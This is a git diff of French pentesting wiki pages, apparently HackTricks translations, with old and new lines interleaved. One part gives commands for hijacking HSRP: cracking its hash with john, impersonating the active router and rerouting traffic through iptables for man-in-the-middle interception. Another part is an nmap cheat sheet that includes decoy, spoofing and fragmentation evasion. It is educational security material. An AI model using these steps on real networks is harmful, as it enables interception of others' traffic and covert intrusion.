Pour la démonstration, voici les extraits de commandes requis:
|
||||
```bash
|
||||
# Enable promiscuous mode and IP forwarding
|
||||
sudo ip link set eth0 promisc on
|
||||
|
@ -70,23 +74,23 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
### Explication passive du détournement de HSRP avec détails des commandes
|
||||
### Explication passive du détournement de HSRP avec Détails des Commandes
|
||||
|
||||
#### Aperçu de HSRP (Protocole de redondance/de routeur en veille active)
|
||||
HSRP est un protocole propriétaire de Cisco conçu pour la redondance de passerelle réseau. Il permet la configuration de plusieurs routeurs physiques en une seule unité logique avec une adresse IP partagée. Cette unité logique est gérée par un routeur principal responsable de la direction du trafic. Contrairement à GLBP, qui utilise des métriques comme la priorité et le poids pour l'équilibrage de charge, HSRP repose sur un seul routeur actif pour la gestion du trafic.
|
||||
|
||||
#### Rôles et terminologie dans HSRP
|
||||
- **Routeur actif HSRP**: Le dispositif agissant en tant que passerelle, gérant le flux de trafic.
|
||||
- **Routeur en veille HSRP**: Un routeur de secours, prêt à prendre le relais si le routeur actif tombe en panne.
|
||||
#### Rôles et Terminologie dans HSRP
|
||||
- **Routeur Actif HSRP**: Le dispositif agissant en tant que passerelle, gérant le flux de trafic.
|
||||
- **Routeur Standby HSRP**: Un routeur de secours, prêt à prendre le relais si le routeur actif échoue.
|
||||
- **Groupe HSRP**: Un ensemble de routeurs collaborant pour former un seul routeur virtuel résilient.
|
||||
- **Adresse MAC HSRP**: Une adresse MAC virtuelle attribuée au routeur logique dans la configuration HSRP.
|
||||
- **Adresse IP virtuelle HSRP**: L'adresse IP virtuelle du groupe HSRP, agissant en tant que passerelle par défaut pour les appareils connectés.
|
||||
- **Adresse IP Virtuelle HSRP**: L'adresse IP virtuelle du groupe HSRP, agissant en tant que passerelle par défaut pour les appareils connectés.
|
||||
|
||||
#### Versions de HSRP
|
||||
HSRP existe en deux versions, HSRPv1 et HSRPv2, différant principalement en capacité de groupe, utilisation d'IP multicast et structure d'adresse MAC virtuelle. Le protocole utilise des adresses IP multicast spécifiques pour l'échange d'informations de service, avec des paquets Hello envoyés toutes les 3 secondes. Un routeur est considéré comme inactif s'il ne reçoit aucun paquet dans un intervalle de 10 secondes.
|
||||
|
||||
#### Mécanisme d'attaque HSRP
|
||||
Les attaques HSRP impliquent de prendre de force le rôle du routeur actif en injectant une valeur de priorité maximale. Cela peut entraîner une attaque de l'homme du milieu (MITM). Les étapes essentielles avant l'attaque incluent la collecte de données sur la configuration HSRP, ce qui peut être fait en utilisant Wireshark pour l'analyse du trafic.
|
||||
Les attaques HSRP impliquent de prendre de force le rôle du Routeur Actif en injectant une valeur de priorité maximale. Cela peut entraîner une attaque de l'Homme du Milieu (MITM). Les étapes essentielles préalables à l'attaque incluent la collecte de données sur la configuration HSRP, ce qui peut être fait en utilisant Wireshark pour l'analyse du trafic.
|
||||
|
||||
#### Étapes pour contourner l'authentification HSRP
|
||||
1. Enregistrer le trafic réseau contenant des données HSRP dans un fichier .pcap.
|
||||
|
@ -110,13 +114,13 @@ john --wordlist=mywordlist.txt hsrp_hashes
|
|||
sudo ip link set eth0 promisc on
|
||||
sudo sysctl -w net.ipv4.ip_forward=1
|
||||
```
|
||||
3. Utiliser Loki pour cibler le routeur spécifique, entrer le mot de passe HSRP cassé et effectuer les configurations nécessaires pour se faire passer pour le routeur actif.
|
||||
4. Après avoir obtenu le rôle de routeur actif, configurer votre interface réseau et les tables IP pour intercepter le trafic légitime.
|
||||
3. Utiliser Loki pour cibler le routeur spécifique, entrer le mot de passe HSRP cassé et effectuer les configurations nécessaires pour se faire passer pour le Routeur Actif.
|
||||
4. Après avoir obtenu le rôle de Routeur Actif, configurer votre interface réseau et les tables IP pour intercepter le trafic légitime.
|
||||
```shell
|
||||
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
||||
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
5. Modifier la table de routage pour router le trafic à travers l'ancien routeur actif.
|
||||
5. Modifier la table de routage pour router le trafic à travers l'ancien Routeur Actif.
|
||||
```shell
|
||||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
|
|
|
@ -4,15 +4,19 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
```
|
||||
nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
||||
```
|
||||
|
@ -21,80 +25,79 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
|||
### Adresses IP à scanner
|
||||
|
||||
* **`<ip>,<net/mask>`:** Indique les adresses IP directement
|
||||
* **`-iL <ips_file>`:** liste_IPs
|
||||
* **`-iL <ips_file>`:** list\_IPs
|
||||
* **`-iR <number>`**: Nombre d'adresses IP aléatoires, vous pouvez exclure des adresses IP possibles avec `--exclude <Ips>` ou `--excludefile <file>`.
|
||||
|
||||
### Découverte d'équipements
|
||||
### Découverte d'équipement
|
||||
|
||||
Par défaut, Nmap lance une phase de découverte composée de: `-PA80 -PS443 -PE -PP`
|
||||
|
||||
* **`-sL`**: Non invasif, liste les cibles en effectuant des requêtes **DNS** pour résoudre les noms. Utile pour savoir, par exemple, si www.prueba.es/24 toutes les adresses IP sont nos cibles.
|
||||
* **`-Pn`**: **Pas de ping**. Utile si vous savez qu'elles sont toutes actives (sinon, vous pourriez perdre beaucoup de temps, mais cette option produit également des faux négatifs en indiquant qu'elles ne sont pas actives), cela empêche la phase de découverte.
|
||||
* **`-sL`**: Non invasif, liste les cibles en effectuant des requêtes **DNS** pour résoudre les noms. Utile pour savoir, par exemple, si www.prueba.es/24 contient toutes les adresses IP de nos cibles.
|
||||
* **`-Pn`**: **Pas de ping**. Utile si vous savez qu'elles sont toutes actives (sinon, vous pourriez perdre beaucoup de temps, mais cette option peut également produire des faux négatifs en indiquant qu'elles ne sont pas actives), cela empêche la phase de découverte.
|
||||
* **`-sn`** : **Pas de scan de port**. Après avoir terminé la phase de reconnaissance, il ne scanne pas les ports. C'est relativement discret et permet un petit scan réseau. Avec des privilèges, il envoie un ACK (-PA) à 80, un SYN(-PS) à 443 et une demande d'écho et une demande de timestamp, sans privilèges, il termine toujours les connexions. Si la cible est le réseau, il utilise uniquement ARP(-PR). S'il est utilisé avec une autre option, seuls les paquets de l'autre option sont abandonnés.
|
||||
* **`-PR`**: **Ping ARP**. Utilisé par défaut lors de l'analyse des ordinateurs de notre réseau, c'est plus rapide que d'utiliser des pings. Si vous ne voulez pas utiliser de paquets ARP, utilisez `--send-ip`.
|
||||
* **`-PS <ports>`**: Envoie des paquets SYN auxquels s'il répond SYN/ACK, il est ouvert (s'il répond avec RST pour ne pas terminer la connexion), s'il répond RST, il est fermé et s'il ne répond pas, il est injoignable. En cas de manque de privilèges, une connexion totale est automatiquement utilisée. Si aucun port n'est donné, il l'envoie à 80.
|
||||
* **`-PR`**: **Ping ARP**. Utilisé par défaut lors de l'analyse des ordinateurs de notre réseau, plus rapide que d'utiliser des pings. Si vous ne voulez pas utiliser de paquets ARP, utilisez `--send-ip`.
|
||||
* **`-PS <ports>`**: Envoie des paquets SYN auxquels s'il répond SYN/ACK, le port est ouvert (s'il répond avec RST pour ne pas terminer la connexion), s'il répond RST, le port est fermé et s'il ne répond pas, il est injoignable. En cas de manque de privilèges, une connexion totale est automatiquement utilisée. S'il n'y a pas de ports donnés, il les envoie à 80.
|
||||
* **`-PA <ports>`**: Comme le précédent mais avec ACK, la combinaison des deux donne de meilleurs résultats.
|
||||
* **`-PU <ports>`**: L'objectif est inverse, ils sont envoyés aux ports qui sont censés être fermés. Certains pare-feu ne vérifient que les connexions TCP. S'il est fermé, il répond avec un port injoignable, s'il répond avec un autre icmp ou s'il ne répond pas, il est laissé comme destination injoignable.
|
||||
* **`-PU <ports>`**: L'objectif est inverse, ils sont envoyés à des ports censés être fermés. Certains pare-feu ne vérifient que les connexions TCP. S'il est fermé, il répond avec port inaccessible, s'il répond avec un autre icmp ou ne répond pas, il est laissé comme inaccessible.
|
||||
* **`-PE, -PP, -PM`** : PINGS ICMP: réponse d'écho, timestamp et masque d'adresse. Ils sont lancés pour savoir si la cible est active.
|
||||
* **`-PY<ports>`**: Envoie des sondes SCTP INIT à 80 par défaut, INIT-ACK(ouvert) ou ABORT(fermé) ou rien ou ICMP injoignable(inactif) peuvent être répondu.
|
||||
* **`-PO <protocols>`**: Un protocole est indiqué dans les en-têtes, par défaut 1(ICMP), 2(IGMP) et 4(Encap IP). Pour les protocoles ICMP, IGMP, TCP (6) et UDP (17), les en-têtes de protocole sont envoyés, pour le reste seul l'en-tête IP est envoyé. Le but de ceci est que en raison de la malformation des en-têtes, le protocole injoignable ou les réponses du même protocole sont répondues pour savoir s'il est actif.
|
||||
* **`-PY<ports>`**: Envoie des sondes SCTP INIT à 80 par défaut, INIT-ACK(ouvert) ou ABORT(fermé) ou rien ou ICMP injoignable(inactif) peuvent être renvoyés.
|
||||
* **`-PO <protocols>`**: Un protocole est indiqué dans les en-têtes, par défaut 1(ICMP), 2(IGMP) et 4(Encap IP). Pour les protocoles ICMP, IGMP, TCP (6) et UDP (17), les en-têtes de protocole sont envoyés, pour le reste seul l'en-tête IP est envoyé. Le but est que en raison de la malformation des en-têtes, une réponse de Protocole injoignable ou des réponses du même protocole sont renvoyées pour savoir s'il est actif.
|
||||
* **`-n`**: Pas de DNS
|
||||
* **`-R`**: Toujours DNS
|
||||
|
||||
### Techniques de scan de ports
|
||||
### Techniques de scan de port
|
||||
|
||||
* **`-sS`**: Ne complète pas la connexion donc ne laisse aucune trace, très bon s'il peut être utilisé. (privilèges) C'est celui utilisé par défaut.
|
||||
* **`-sT`**: Complète la connexion, donc laisse une trace, mais peut être utilisé en toute sécurité. Par défaut sans privilèges.
|
||||
* **`-sU`**: Plus lent, pour UDP. Principalement: DNS(53), SNMP(161,162), DHCP(67 et 68), (-sU53,161,162,67,68): ouvert(réponse), fermé(port injoignable), filtré (autre ICMP), ouvert/filtré (rien). En cas d'ouvert/filtré, -sV envoie de nombreuses requêtes pour détecter l'une des versions prises en charge par nmap et peut détecter le véritable état. Cela augmente considérablement le temps.
|
||||
* **`-sU`**: Plus lent, pour l'UDP. Principalement: DNS(53), SNMP(161,162), DHCP(67 et 68), (-sU53,161,162,67,68): ouvert(réponse), fermé(port injoignable), filtré (un autre ICMP), ouvert/filtré (rien). En cas d'ouvert/filtré, -sV envoie de nombreuses requêtes pour détecter l'une des versions prises en charge par nmap et peut détecter le véritable état. Cela augmente considérablement le temps.
|
||||
* **`-sY`**: Le protocole SCTP échoue à établir la connexion, donc il n'y a pas de journaux, fonctionne comme -PY
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, ils peuvent pénétrer certains pare-feu et extraire des informations. Ils sont basés sur le fait que les machines conformes aux normes doivent répondre avec RST à toutes les demandes qui n'ont pas de drapeaux SYN, RST ou ACK levés: ouvert/filtré(rien), fermé(RST), filtré (ICMP injoignable). Peu fiable sur Windows, CIsco, BSDI et OS/400. Sur Unix oui.
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, ils peuvent pénétrer certains pare-feu et extraire des informations. Ils sont basés sur le fait que les machines conformes aux normes devraient répondre avec RST à toutes les demandes qui n'ont pas de drapeaux SYN, RST ou ACK levés: ouvert/filtré(rien), fermé(RST), filtré (ICMP injoignable). Peu fiable sur Windows, Cisco, BSDI et OS/400. Sur Unix oui.
|
||||
* **`-sM`**: Scan Maimon: Envoie des drapeaux FIN et ACK, utilisé pour BSD, actuellement renverra tout comme fermé.
|
||||
* **`-sA, sW`**: ACK et Window, est utilisé pour détecter les pare-feu, pour savoir si les ports sont filtrés ou non. Le -sW distingue entre ouvert/fermé car les ouverts répondent avec une valeur de fenêtre différente: ouvert (RST avec une fenêtre différente de 0), fermé (RST fenêtre = 0), filtré (ICMP injoignable ou rien). Tous les ordinateurs ne fonctionnent pas de cette manière, donc s'ils sont tous fermés, cela ne fonctionne pas, s'il y en a quelques-uns d'ouverts, cela fonctionne bien, et s'il y en a beaucoup d'ouverts et peu de fermés, cela fonctionne à l'envers.
|
||||
* **`-sI`:** Scan en veille. Pour les cas où il y a un pare-feu actif mais que nous savons qu'il ne filtre pas vers une certaine adresse IP (ou lorsque nous voulons simplement rester anonymes), nous pouvons utiliser le scanner zombie (il fonctionne pour tous les ports), pour rechercher des zombies potentiels, nous pouvons utiliser le script ipidseq ou l'exploit auxiliary/scanner/ip/ipidseq. Ce scanner est basé sur le numéro IPID des paquets IP.
|
||||
* **`-sA, sW`**: ACK et Window, est utilisé pour détecter les pare-feu, pour savoir si les ports sont filtrés ou non. Le -sW distingue entre ouvert/fermé car les ouverts répondent avec une valeur de fenêtre différente: ouvert (RST avec une fenêtre différente de 0), fermé (RST fenêtre = 0), filtré (ICMP injoignable ou rien). Tous les ordinateurs ne fonctionnent pas de cette manière, donc s'ils sont tous fermés, cela ne fonctionne pas, s'il y en a quelques-uns d'ouverts, cela fonctionne bien, et s'il y en a beaucoup d'ouverts et peu de fermés, cela fonctionne dans l'autre sens.
|
||||
* **`-sI`:** Scan en veille. Pour les cas où il y a un pare-feu actif mais que nous savons qu'il ne filtre pas vers une certaine IP (ou lorsque nous voulons simplement rester anonymes), nous pouvons utiliser le scanner zombie (il fonctionne pour tous les ports), pour rechercher d'éventuels zombies, nous pouvons utiliser le script ipidseq ou l'exploit auxiliary/scanner/ip/ipidseq. Ce scanner est basé sur le numéro IPID des paquets IP.
|
||||
* **`--badsum`:** Il envoie la somme incorrecte, les ordinateurs rejetteraient les paquets, mais les pare-feu pourraient répondre quelque chose, il est utilisé pour détecter les pare-feu.
|
||||
* **`-sZ`:** Scanner SCTP "bizarre", lors de l'envoi de sondes avec des fragments d'écho de cookie, ils devraient être abandonnés s'ils sont ouverts ou répondus avec ABORT s'ils sont fermés. Il peut passer à travers les pare-feu que l'init ne peut pas passer, le mauvais côté est qu'il ne distingue pas entre filtré et ouvert.
|
||||
* **`-sO`:** Scan de protocole Ip. Envoie des en-têtes incorrects et vides dans lesquels parfois même le protocole ne peut pas être distingué. Si le protocole ICMP injoignable arrive, il est fermé, si le port injoignable arrive, il est ouvert, si une autre erreur arrive, filtré, s'il n'arrive rien, ouvert|filtré.
|
||||
* **`-b <server>`:** FTPhost--> Il est utilisé pour scanner un hôte à partir d'un autre, cela se fait en se connectant au ftp d'une autre machine et en lui demandant d'envoyer des fichiers aux ports que vous souhaitez scanner à partir d'une autre machine, selon les réponses, nous saurons s'ils sont ouverts ou non. \[\<user>:\<password>@]\<server>\[:\<port>] Presque tous les serveurs ftp ne vous permettent plus de le faire et donc c'est de peu d'utilité pratique.
|
||||
* **`-sZ`:** Scanner SCTP "bizarre", lors de l'envoi de sondes avec des fragments d'écho de cookie, ils devraient être abandonnés s'ils sont ouverts ou répondus avec ABORT s'ils sont fermés. Il peut passer à travers les pare-feu que l'init ne peut pas traverser, le problème est qu'il ne distingue pas entre filtré et ouvert.
|
||||
* **`-sO`:** Scan de protocole Ip. Envoie des en-têtes incorrects et vides dans lesquels parfois même le protocole ne peut pas être distingué. Si un protocole ICMP injoignable arrive, il est fermé, si un port injoignable arrive, il est ouvert, si une autre erreur arrive, filtré, si rien n'arrive, ouvert|filtré.
|
||||
* **`-b <server>`:** FTPhost--> Il est utilisé pour scanner un hôte à partir d'un autre, cela se fait en se connectant au ftp d'une autre machine et en lui demandant d'envoyer des fichiers aux ports que vous souhaitez scanner à partir d'une autre machine, selon les réponses, nous saurons s'ils sont ouverts ou non. \[\<user>:\<password>@]\<server>\[:\<port>] Presque tous les serveurs ftp ne vous permettent plus de le faire et donc il est de peu d'utilité pratique.
|
||||
|
||||
### **Analyse centrée**
|
||||
### **Analyse centrale**
|
||||
|
||||
**-p:** Utilisé pour spécifier les ports à scanner. Pour sélectionner les 65335: **-p-** ou **-p all**. Nmap a une classification interne en fonction de sa popularité. Par défaut, il utilise les 1000 principaux. Avec **-F** (scan rapide), il analyse les 100 principaux. Avec **--top-ports \<numero>** Il analyse ce nombre de principaux (de 1 à 65335). Il vérifie les ports dans un ordre aléatoire, pour éviter cela **-r**. Vous pouvez également sélectionner des ports: 20-30,80,443,1024- Cela signifie qu'il regarde au-delà de 1024. Vous pouvez également regrouper les ports par protocoles: U:53,T:21-25,80,139,S:9. Vous pouvez également choisir une plage parmi les ports populaires de nmap: -p \[-1024] analyse jusqu'au 1024 inclus dans nmap-services. **--port-ratio \<ratio>** Analyse les ports les plus courants selon un ratio qui doit être compris entre 0 et 1
|
||||
**-p:** Utilisé pour spécifier les ports à scanner. Pour sélectionner les 65335: **-p-** ou **-p all**. Nmap a une classification interne en fonction de sa popularité. Par défaut, il utilise les 1000 principaux. Avec **-F** (scan rapide), il analyse les 100 principaux. Avec **--top-ports \<numero>** Il analyse ce nombre de principaux (de 1 à 65335). Il vérifie les ports dans un ordre aléatoire, pour éviter cela **-r**. Vous pouvez également sélectionner des ports: 20-30,80,443,1024- Cela signifie qu'il vérifie à partir de 1024. Vous pouvez également regrouper les ports par protocoles: U:53,T:21-25,80,139,S:9. Vous pouvez également choisir une plage parmi les ports populaires de nmap: -p \[-1024] vérifie jusqu'au 1024 inclus dans nmap-services. **--port-ratio \<ratio>** Analyse les ports les plus courants selon un ratio qui doit être compris entre 0 et 1
|
||||
|
||||
**-sV** Analyse de version, l'intensité peut être réglée de 0 à 9, par défaut 7.
|
||||
**-sV** Scan de version, l'intensité peut être réglée de 0 à 9, par défaut 7.
|
||||
|
||||
**--version-intensity \<numero>** Réglez l'intensité, de sorte que plus bas il ne lancera que les sondes les plus probables, mais pas toutes. Cela peut considérablement raccourcir le temps de scan UDP
|
||||
**--version-intensity \<numero>** Réglez l'intensité, de sorte que plus elle est basse, plus elle ne lancera que les sondes les plus probables, mais pas toutes. Cela peut considérablement raccourcir le temps de scan UDP
|
||||
|
||||
**-O** Détection d'OS
|
||||
|
||||
**--osscan-limit** Pour bien scanner un hôte, il faut au moins un port ouvert et un autre fermé, si cette condition n'est pas remplie et que vous avez activé ceci, il n'essaie pas de prédire l'OS (économise du temps)
|
||||
|
||||
**--osscan-guess** Lorsque la détection d'OS n'est pas parfaite, cela le force à faire plus d'efforts
|
||||
**--osscan-limit** Pour bien scanner un hôte, il faut qu'au moins un port soit ouvert et un autre fermé, si cette condition n'est pas remplie et que nous avons activé ceci, il n'essaie pas de prédire l'OS (économise du temps)
|
||||
**--osscan-guess** Lorsque la détection d'OS n'est pas parfaite, cela force une analyse plus approfondie.
|
||||
|
||||
**Scripts**
|
||||
|
||||
\--script _\<filename>_|_\<category>_|_\<directory>_|_\<expression>_\[,...]
|
||||
|
||||
Pour utiliser les scripts par défaut, il suffit de faire -sC ou --script=default
|
||||
Pour utiliser ceux par défaut, utilisez -sC ou --script=default
|
||||
|
||||
Les types disponibles sont: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, et vuln
|
||||
Les types disponibles sont : auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, et vuln
|
||||
|
||||
* **Auth:** exécute tous ses _scripts_ disponibles pour l'authentification
|
||||
* **Default:** exécute les _scripts_ de base par défaut de l'outil
|
||||
* **Discovery:** récupère des informations sur la cible ou la victime
|
||||
* **External:** _script_ pour utiliser des ressources externes
|
||||
* **Intrusive:** utilise des _scripts_ considérés comme intrusifs pour la victime ou la cible
|
||||
* **Malware:** vérifie s'il y a des connexions ouvertes par des codes malveillants ou des _backdoors_
|
||||
* **Safe:** exécute des _scripts_ qui ne sont pas intrusifs
|
||||
* **Vuln:** découvre les vulnérabilités les plus connues
|
||||
* **All:** exécute tous les _scripts_ avec l'extension NSE disponibles
|
||||
* **Auth :** exécute tous les scripts disponibles pour l'authentification
|
||||
* **Default :** exécute les scripts de base par défaut de l'outil
|
||||
* **Discovery :** récupère des informations sur la cible
|
||||
* **External :** scripts utilisant des ressources externes
|
||||
* **Intrusive :** utilise des scripts considérés comme intrusifs pour la cible
|
||||
* **Malware :** vérifie les connexions ouvertes pour les codes malveillants ou les backdoors
|
||||
* **Safe :** exécute des scripts non intrusifs
|
||||
* **Vuln :** découvre les vulnérabilités les plus connues
|
||||
* **All :** exécute tous les scripts NSE disponibles
|
||||
|
||||
Pour rechercher des scripts:
|
||||
Pour rechercher des scripts :
|
||||
|
||||
**nmap --script-help="http-\*" -> Ceux commençant par http-**
|
||||
|
||||
**nmap --script-help="not intrusive" -> Tous sauf ceux-là**
|
||||
|
||||
**nmap --script-help="default or safe" -> Ceux qui sont dans l'un ou l'autre ou dans les deux**
|
||||
**nmap --script-help="default or safe" -> Ceux qui sont dans l'un ou l'autre ou les deux**
|
||||
|
||||
**nmap --script-help="default and safe" --> Ceux qui sont dans les deux**
|
||||
|
||||
|
@ -106,41 +109,41 @@ Pour rechercher des scripts:
|
|||
|
||||
\--script-help _\<filename>_|_\<category>_|_\<directory>_|_\<expression>_|all\[,...]
|
||||
|
||||
\--script-trace ---> Fournit des informations sur le fonctionnement du script
|
||||
\--script-trace ---> Fournit des informations sur l'exécution du script
|
||||
|
||||
\--script-updatedb
|
||||
|
||||
**Pour utiliser un script, il suffit de taper: namp --script Nom_du_script cible** --> En spécifiant le script, le script et le scanner seront exécutés, vous pouvez donc également ajouter **“safe=1”** pour exécuter uniquement les scripts sûrs.
|
||||
**Pour utiliser un script, il suffit de taper : nmap --script Nom_du_script cible** --> En spécifiant le script, à la fois le script et le scanner seront exécutés, donc des options du scanner peuvent également être ajoutées, on peut ajouter **"safe=1"** pour exécuter uniquement les scripts sûrs.
|
||||
|
||||
**Contrôle du temps**
|
||||
|
||||
**Nmap peut modifier le temps en secondes, minutes, ms:** --host-timeout arguments 900000ms, 900, 900s, et 15m font tous la même chose.
|
||||
**Nmap peut modifier le temps en secondes, minutes, ms :** --host-timeout arguments 900000ms, 900, 900s, et 15m font la même chose.
|
||||
|
||||
Nmap divise le nombre total d'hôtes à scanner en groupes et analyse ces groupes par blocs de sorte que tant que tous les hôtes n'ont pas été analysés, il ne passe pas au bloc suivant (et l'utilisateur ne reçoit aucune mise à jour tant que le bloc n'a pas été analysé) de cette manière, il est plus optimal pour nmap d'utiliser de grands groupes. Par défaut en classe C, il utilise 256.
|
||||
Nmap divise le nombre total d'hôtes à scanner en groupes et analyse ces groupes par blocs, de sorte qu'il ne passe pas au bloc suivant (et l'utilisateur ne reçoit aucune mise à jour tant que le bloc n'a pas été analysé) avant que tous les hôtes n'aient été analysés, ce qui est plus efficace pour Nmap en utilisant de grands groupes. Par défaut, en classe C, il utilise 256.
|
||||
|
||||
Cela peut être modifié avec\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (Ajuster les tailles de groupe de scan parallèle)
|
||||
Cela peut être modifié avec **--min-hostgroup** _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (Ajuster les tailles de groupe de scan parallèle)
|
||||
|
||||
Vous pouvez contrôler le nombre de scanners en parallèle mais il est préférable de ne pas le faire (nmap intègre déjà un contrôle automatique en fonction de l'état du réseau): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||
Le nombre de scanners parallèles peut être contrôlé mais il est préférable de ne pas le faire (Nmap intègre déjà un contrôle automatique en fonction de l'état du réseau) : **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||
|
||||
Vous pouvez contrôler le délai d'attente rtt, mais ce n'est généralement pas nécessaire: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||
Le timeout rtt peut être modifié, mais ce n'est généralement pas nécessaire : **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||
|
||||
Vous pouvez modifier le nombre de tentatives:**--max-retries** _**\<numtries>**_
|
||||
Le nombre de tentatives peut être modifié : **--max-retries** _**\<numtries>**_
|
||||
|
||||
Vous pouvez modifier le temps de scan d'un hôte: **--host-timeout** _**\<time>**_
|
||||
Le temps de timeout d'un hôte peut être modifié : **--host-timeout** _**\<time>**_
|
||||
|
||||
Vous pouvez modifier le délai entre chaque scan pour ralentir la vitesse: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
Le délai entre chaque scan peut être modifié pour ralentir la vitesse : **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
|
||||
Vous pouvez modifier le nombre de paquets par seconde: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
||||
Le nombre de paquets par seconde peut être modifié : **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
||||
|
||||
De nombreux ports mettent du temps à répondre car ils sont filtrés ou fermés, si seuls les ouverts vous intéressent, vous pouvez accélérer le processus avec: **--defeat-rst-ratelimit**
|
||||
De nombreux ports prennent du temps à répondre s'ils sont filtrés ou fermés, si seuls les ports ouverts nous intéressent, nous pouvons accélérer le processus avec : **--defeat-rst-ratelimit**
|
||||
|
||||
Pour définir l'agressivité de nmap: -T paranoid|sneaky|polite|normal|aggressive|insane
|
||||
Pour définir le niveau d'agressivité de Nmap : -T paranoid|sneaky|polite|normal|aggressive|insane
|
||||
|
||||
\-T (0-1)
|
||||
|
||||
\-T0 --> Seul un port est scanné à la fois et il attend 5min avant le suivant
|
||||
\-T0 --> Un seul port est scanné à la fois et il attend 5 minutes avant le suivant
|
||||
|
||||
\-T1 et T2 --> Très similaires mais attendent respectivement 15 et 0,4sec entre chaque test
|
||||
\-T1 et T2 --> Très similaires mais attendent respectivement 15 et 0,4 secondes entre chaque test
|
||||
|
||||
\-T3 --> Fonctionnement par défaut, inclut en parallèle
|
||||
|
||||
|
@ -152,6 +155,132 @@ Pour définir l'agressivité de nmap: -T paranoid|sneaky|polite|normal|aggressiv
|
|||
|
||||
Ils bloquent les ports et analysent les paquets.
|
||||
|
||||
**-f** Pour fragmenter les paquets, par défaut ils sont fragmentés en 8 octets après l'en-tête, pour spécifier cette taille, utilisez ..mtu (avec cela, ne pas utiliser -f), le décalage doit être un multiple de 8. **Les scanners de version et les scripts ne prennent pas en charge la fragmentation**
|
||||
**-f** Pour fragmenter les paquets, par défaut ils sont fragmentés en 8 octets après l'en-tête, pour spécifier cette taille, utilisez ..mtu (ne pas utiliser -f avec cela), le décalage doit être un multiple de 8. **Les scanners de version et les scripts ne prennent pas en charge la fragmentation**
|
||||
|
||||
**-D decoy1,decoy2,ME** Nmap envoie des scanners mais avec d'autres adresses IP comme origine, de cette façon vous vous cachez. Si vous mettez ME dans la liste, nmap vous placera là, il est préférable de mettre 5 ou 6 avant vous pour vous masquer complètement. Des adresses IP aléatoires peuvent être générées avec RND:\<numero> Pour générer \<numero> d'adresses IP aléatoires. Ne fonctionne pas avec la détection de versions sans connexion TCP. Si vous êtes dans un réseau, il est préférable d
|
||||
**-D decoy1,decoy2,ME** Nmap envoie des scanners mais avec d'autres adresses IP d'origine, vous cachant ainsi. Si vous incluez ME dans la liste, Nmap vous placera là, il est préférable d'ajouter 5 ou 6 avant vous pour vous masquer complètement. Des adresses IP aléatoires peuvent être générées avec RND:\<number> pour générer \<number> d'adresses IP aléatoires. Ils ne fonctionnent pas avec les détecteurs de versions sans connexion TCP. Si vous êtes dans un réseau, il est préférable d'utiliser des adresses IP actives, sinon il sera très facile de savoir que vous êtes le seul actif.
|
||||
|
||||
Pour utiliser des adresses IP aléatoires : nmap -D RND: 10 Ip_cible
|
||||
|
||||
**-S IP** Lorsque Nmap ne détecte pas votre adresse IP, vous devez la spécifier avec cela. Cela peut également faire croire qu'il y a un autre objectif en train de les scanner.
|
||||
|
||||
**-e \<interface>** Pour choisir l'interface
|
||||
|
||||
